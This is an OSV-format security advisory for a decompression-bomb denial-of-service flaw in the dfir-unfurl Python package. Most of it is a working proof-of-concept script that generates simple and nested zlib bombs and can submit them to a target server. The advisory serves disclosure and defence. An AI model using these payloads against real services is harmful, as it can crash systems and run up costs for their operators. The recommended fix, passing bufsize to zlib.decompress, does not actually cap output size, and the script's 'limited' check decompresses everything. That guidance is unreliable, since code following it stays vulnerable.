{"id":"PYSEC-2026-1294","summary":"Unfurl's unbounded zlib decompression allows decompression bomb DoS","details":"### Summary\nThe compressed data parser uses `zlib.decompress()` without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.\n\n### Details\n- `unfurl/parsers/parse_compressed.py` calls `zlib.decompress(decoded)` with no size limit.\n- Inputs are accepted from URL components that match base64 patterns.\n- Highly compressible payloads can expand orders of magnitude larger than their compressed size.\n\n### PoC\n1. Generate a payload with `security_poc/poc_decompression_bomb.py --generate-only`.\n2. The script creates a base64-encoded zlib payload embedded in a URL.\n3. Submitting the URL to `/json/visjs` can cause the server to allocate large amounts of memory.\n4. The script includes a `--test` mode but warns it can crash the service.\n\n### PoC Script\n```python\n#!/usr/bin/env python3\n\"\"\"\nUnfurl Decompression Bomb Proof of Concept\n==========================================\n\nThis PoC demonstrates a Denial of Service vulnerability in Unfurl's\ncompressed data parsing. The zlib.decompress() call has no size limits,\nallowing an attacker to submit small payloads that expand to gigabytes.\n\nVulnerability Location:\n- parse_compressed.py:81-82:\n    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter\n\nAttack Impact:\n- Memory exhaustion\n- Service crash\n- Resource consumption (cloud cost attacks)\n\nUsage:\n    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]\n\"\"\"\n\nimport argparse\nimport base64\nimport os\nimport zlib\nimport requests\nimport sys\nimport time\n\n\ndef create_compression_bomb(target_size_mb: int = 100) -\u003e bytes:\n    \"\"\"\n    Create a compression bomb - small compressed data that expands to target_size_mb.\n\n    Compression ratio for zeros can be ~1000:1 or better.\n    A 1KB compressed payload can expand to ~1MB.\n    A 100KB payload can expand to ~100MB.\n    \"\"\"\n    # Create highly compressible data (all zeros)\n    target_bytes = target_size_mb * 1024 * 1024\n    uncompressed = b'\\x00' * target_bytes\n\n    # Compress with maximum compression\n    compressed = zlib.compress(uncompressed, 9)\n\n    compression_ratio = len(uncompressed) / len(compressed)\n\n    print(f\"[*] Created compression bomb:\")\n    print(f\"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)\")\n    print(f\"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)\")\n    print(f\"    Compression ratio: {compression_ratio:.0f}:1\")\n\n    return compressed\n\n\ndef create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -\u003e bytes:\n    \"\"\"\n    Create a nested compression bomb (zip bomb style).\n    Each level multiplies the final size.\n\n    Warning: This can create VERY large expansions.\n    3 levels with 10MB base = 10^3 = 1GB\n    4 levels with 10MB base = 10^4 = 10GB\n    \"\"\"\n    print(f\"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base\")\n\n    # Start with base payload\n    data = b'\\x00' * (base_size_mb * 1024 * 1024)\n\n    for level in range(levels):\n        data = zlib.compress(data, 9)\n        print(f\"    Level {level + 1}: {len(data):,} bytes\")\n\n    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate\n    print(f\"[*] Theoretical expanded size: ~{theoretical_size} MB\")\n\n    return data\n\n\ndef create_recursive_quine_bomb() -\u003e bytes:\n    \"\"\"\n    Create a recursive decompression scenario.\n    When decompressed, the output is valid zlib that can be decompressed again.\n\n    This exploits any recursive decompression logic.\n    \"\"\"\n    # This is a simplified version - real quine bombs are more complex\n    # The concept: output when decompressed is also valid compressed data\n\n    # Create a pattern that when decompressed resembles compressed data\n    # This is primarily theoretical for this vulnerability\n    base = b'x\\x9c' + (b'\\x00' * 1000)  # Fake zlib header + zeros\n    return zlib.compress(base * 1000, 9)\n\n\ndef encode_for_unfurl(compressed: bytes) -\u003e str:\n    \"\"\"\n    Encode compressed data as base64 for URL inclusion.\n    Unfurl's parse_compressed.py will:\n    1. Detect base64 pattern\n    2. Decode base64\n    3. Attempt zlib.decompress() without size limit\n    \"\"\"\n    return base64.b64encode(compressed).decode('ascii')\n\n\ndef create_malicious_url(payload: str) -\u003e str:\n    \"\"\"\n    Create a URL containing the bomb payload.\n    Multiple injection points are possible.\n    \"\"\"\n    # As a query parameter value\n    return f\"https://example.com/page?data={payload}\"\n\n\ndef test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -\u003e dict:\n    \"\"\"\n    Submit bomb to Unfurl and monitor for DoS indicators.\n    \"\"\"\n    api_url = f\"{target_url}/json/visjs\"\n    params = {'url': payload_url}\n\n    result = {\n        'submitted': True,\n        'timeout': False,\n        'error': None,\n        'response_time': 0,\n        'memory_exhaustion_likely': False\n    }\n\n    try:\n        start = time.time()\n        response = requests.get(api_url, params=params, timeout=timeout)\n        result['response_time'] = time.time() - start\n        result['status_code'] = response.status_code\n\n        # Check for error responses indicating resource issues\n        if response.status_code == 500:\n            result['error'] = 'Server error - possible memory exhaustion'\n            result['memory_exhaustion_likely'] = True\n        elif response.status_code == 503:\n            result['error'] = 'Service unavailable - DoS successful'\n            result['memory_exhaustion_likely'] = True\n\n    except requests.exceptions.Timeout:\n        result['timeout'] = True\n        result['error'] = f'Request timed out after {timeout}s - possible DoS'\n        result['memory_exhaustion_likely'] = True\n    except requests.exceptions.ConnectionError as e:\n        result['error'] = f'Connection error: {e} - server may have crashed'\n        result['memory_exhaustion_likely'] = True\n    except Exception as e:\n        result['error'] = str(e)\n\n    return result\n\n\ndef main():\n    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')\n    parser.add_argument('--target', default='http://localhost:5000',\n                        help='Target Unfurl instance URL')\n    parser.add_argument('--size', type=int, default=100,\n                        help='Target decompressed size in MB')\n    parser.add_argument('--nested', type=int, default=0,\n                        help='Nesting levels for nested bomb (0 = simple bomb)')\n    parser.add_argument('--test', action='store_true',\n                        help='Actually send the bomb (DANGEROUS)')\n    parser.add_argument('--generate-only', action='store_true',\n                        help='Only generate payload, do not send')\n    parser.add_argument('--output', help='Save payload to file')\n    args = parser.parse_args()\n\n    print(f\"\"\"\n╔═══════════════════════════════════════════════════════════════╗\n║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║\n╠═══════════════════════════════════════════════════════════════╣\n║  Target:        {args.target:\u003c45} ║\n║  Expanded Size: {args.size:\u003c45} MB ║\n║  Nested Levels: {args.nested:\u003c45} ║\n╚═══════════════════════════════════════════════════════════════╝\n\"\"\")\n\n    # Generate the bomb\n    if args.nested \u003e 0:\n        print(f\"\\n[!] Creating NESTED bomb - theoretical size could be enormous!\")\n        print(f\"    Be very careful with nested levels \u003e 2\")\n        if args.nested \u003e 3:\n            print(f\"[!] {args.nested} levels could produce terabytes of data!\")\n            confirm = input(\"    Continue? (yes/no): \")\n            if confirm.lower() != 'yes':\n                sys.exit(0)\n        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)\n    else:\n        compressed = create_compression_bomb(args.size)\n\n    # Encode for URL\n    b64_payload = encode_for_unfurl(compressed)\n    malicious_url = create_malicious_url(b64_payload)\n\n    print(f\"\\n[*] Payload Statistics:\")\n    print(f\"    Compressed size: {len(compressed):,} bytes\")\n    print(f\"    Base64 size: {len(b64_payload):,} bytes\")\n    print(f\"    URL length: {len(malicious_url):,} bytes\")\n\n    # Save payload if requested\n    if args.output:\n        with open(args.output, 'w') as f:\n            f.write(malicious_url)\n        print(f\"\\n[+] Payload saved to: {args.output}\")\n\n    # Display truncated payload\n    print(f\"\\n[*] Malicious URL (truncated):\")\n    print(f\"    {malicious_url[:100]}...\")\n    print(f\"    (Full URL is {len(malicious_url):,} characters)\")\n\n    # Save full payload for reference\n    script_dir = os.path.dirname(os.path.abspath(__file__))\n    payload_path = os.path.join(script_dir, 'bomb_payload.txt')\n    with open(payload_path, 'w') as f:\n        f.write(malicious_url)\n    print(f\"\\n[+] Full payload saved to: {payload_path}\")\n\n    # Verify the bomb works locally\n    print(f\"\\n[*] Verifying bomb locally (limited test)...\")\n    try:\n        # Only decompress a small portion to verify it's valid\n        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max\n        print(f\"    ✅ Bomb is valid - decompresses to zeros\")\n    except Exception as e:\n        print(f\"    ❌ Error: {e}\")\n        sys.exit(1)\n\n    if args.generate_only:\n        print(\"\\n[*] Generate-only mode. Not sending payload.\")\n        sys.exit(0)\n\n    if not args.test:\n        print(f\"\"\"\n╔═══════════════════════════════════════════════════════════════╗\n║                      SAFETY CHECK                             ║\n╚═══════════════════════════════════════════════════════════════╝\n\nTo actually test this vulnerability, run with --test flag.\n\nManual testing:\n1. Copy the payload URL from {payload_path}\n2. Submit it to the target Unfurl instance\n3. Monitor server memory usage\n\nExpected behavior if vulnerable:\n- Server memory usage spikes dramatically\n- Request hangs or times out\n- Server may crash or become unresponsive\n\nMitigation check:\nThe vulnerability is FIXED if zlib.decompress() is called with\na max_length parameter, e.g.:\n    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit\n\"\"\")\n        sys.exit(0)\n\n    # Actually test (dangerous!)\n    print(f\"\\n[!] SENDING BOMB TO {args.target}\")\n    print(f\"[!] This may crash the target service!\")\n    confirm = input(\"    Type 'CONFIRM' to proceed: \")\n\n    if confirm != 'CONFIRM':\n        print(\"    Aborted.\")\n        sys.exit(0)\n\n    print(f\"\\n[*] Submitting payload...\")\n    result = test_vulnerability(args.target, malicious_url, timeout=60.0)\n\n    print(f\"\\n[*] Results:\")\n    print(f\"    Timeout: {result['timeout']}\")\n    print(f\"    Response time: {result['response_time']:.2f}s\")\n    print(f\"    Error: {result['error']}\")\n    print(f\"    Memory exhaustion likely: {result['memory_exhaustion_likely']}\")\n\n    if result['memory_exhaustion_likely']:\n        print(f\"\"\"\n╔═══════════════════════════════════════════════════════════════╗\n║                  VULNERABILITY CONFIRMED                      ║\n╚═══════════════════════════════════════════════════════════════╝\n\nThe target appears vulnerable to decompression bomb attacks.\n\nEvidence:\n- {result['error'] or 'Abnormal response observed'}\n\nRecommendation:\nAdd size limits to zlib.decompress() calls:\n\n    # Before (vulnerable):\n    inflated_bytes = zlib.decompress(decoded)\n\n    # After (fixed):\n    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB\n    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)\n\nOr use streaming decompression with size checks:\n\n    decompressor = zlib.decompressobj()\n    chunks = []\n    total_size = 0\n    for chunk in iter(lambda: compressed_data.read(4096), b''):\n        decompressed = decompressor.decompress(chunk)\n        total_size += len(decompressed)\n        if total_size \u003e MAX_SIZE:\n            raise ValueError(\"Decompressed data too large\")\n        chunks.append(decompressed)\n\"\"\")\n    else:\n        print(\"\\n[*] Target may not be vulnerable or attack was mitigated.\")\n\n\nif __name__ == '__main__':\n    main()\n```\n\n### Impact\nA remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).","aliases":["CVE-2026-40036","GHSA-h5qv-qjv4-pc5m"],"modified":"2026-07-07T17:46:33.818156092Z","published":"2026-07-07T16:03:21.008991Z","references":[{"type":"WEB","url":"https://github.com/obsidianforensics/unfurl/security/advisories/GHSA-h5qv-qjv4-pc5m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40036"},{"type":"WEB","url":"https://github.com/RyanDFIR/unfurl/pull/243"},{"type":"WEB","url":"https://github.com/RyanDFIR/unfurl/commit/7cc711a65b106742a21080b755f81c17b5725aa8"},{"type":"WEB","url":"https://github.com/RyanDFIR/unfurl/releases/tag/v2026.04"},{"type":"PACKAGE","url":"https://github.com/obsidianforensics/unfurl"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/dfir-unfurl-denial-of-service-via-unbounded-zlib-decompression"},{"type":"PACKAGE","url":"https://pypi.org/project/dfir-unfurl"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-h5qv-qjv4-pc5m"}],"affected":[{"package":{"name":"dfir-unfurl","ecosystem":"PyPI","purl":"pkg:pypi/dfir-unfurl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20260405"}]}],"versions":["20200629","20200630","20200630.2","20200630.3","20200630.4","20200702","20200703","20200729","20200812","20201102","20210308","20210309","20210310","20210311","20210615","20220200","20221100","20230900","20230901","20240625","20240626","20240627","20241120","20241121","20250218","20250312","20250810"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/dfir-unfurl/PYSEC-2026-1294.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}